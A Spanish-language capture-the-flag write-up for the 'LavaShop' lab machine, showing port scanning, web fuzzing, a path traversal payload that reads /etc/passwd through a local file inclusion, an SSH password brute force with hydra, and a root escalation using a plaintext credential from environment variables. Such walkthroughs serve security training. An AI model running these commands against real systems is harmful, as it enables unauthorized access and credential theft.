Write-ups

Resolución del CTF: LavaShop


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.

nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100
  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • -sC : Escaneo con scripts básicos de reconocimiento.
  • -sV : Detección de servicios.
  • –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
  • -n : Sin resolución DNS.
  • -Pn : Sin descubrimiento por ping.

Identificamos los servicios expuestos: SSH (22), HTTP (80) y un servicio no estándar en el puerto 1337. El servicio HTTP redirige a un virtual host específico.

Enumeración Web

Accedemos al servicio HTTP y detectamos navegación mediante parámetros GET que cargan contenido dinámico. Enumeramos rutas y archivos relevantes para identificar puntos de entrada.

wfuzz --hc 404,403 -w /usr/share/seclists/Discovery/Web-Content/combined_directories.txt http://lavashop.thl/FUZZ

Localizamos el directorio pages y enumeramos su contenido, identificando un archivo vulnerable que procesa parámetros adicionales.

wfuzz --hc 404,403 -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt "http://lavashop.thl/pages/products.php?FUZZ=test"

Detectamos el parámetro file con comportamiento diferencial, lo que indica una inclusión de archivos locales.

Explotación

Local File Inclusion (LFI)

Explotamos el parámetro file mediante path traversal para leer archivos del sistema y enumerar usuarios locales.

curl "http://lavashop.thl/pages/products.php?file=../../../../etc/passwd"

Obtenemos usuarios con shell interactiva, destacando debian y Rodri.

Acceso Inicial

Fuerza bruta SSH

Con el usuario identificado, realizamos fuerza bruta contra el servicio SSH para obtener credenciales válidas.

hydra -l debian -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.100

Accedemos al sistema mediante SSH con las credenciales obtenidas.

ssh [email protected]

Post-Explotación

Enumeración de variables de entorno

Enumeramos variables de entorno en busca de información sensible expuesta por una mala configuración.

env

Identificamos una credencial de root expuesta en texto plano.

Escalada de Privilegios

Utilizamos la credencial obtenida para cambiar al usuario root.

su root

Con privilegios elevados, accedemos a los directorios protegidos y obtenemos las flags correspondientes.

cat /home/Rodri/user.txt
cat /root/root.txt

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *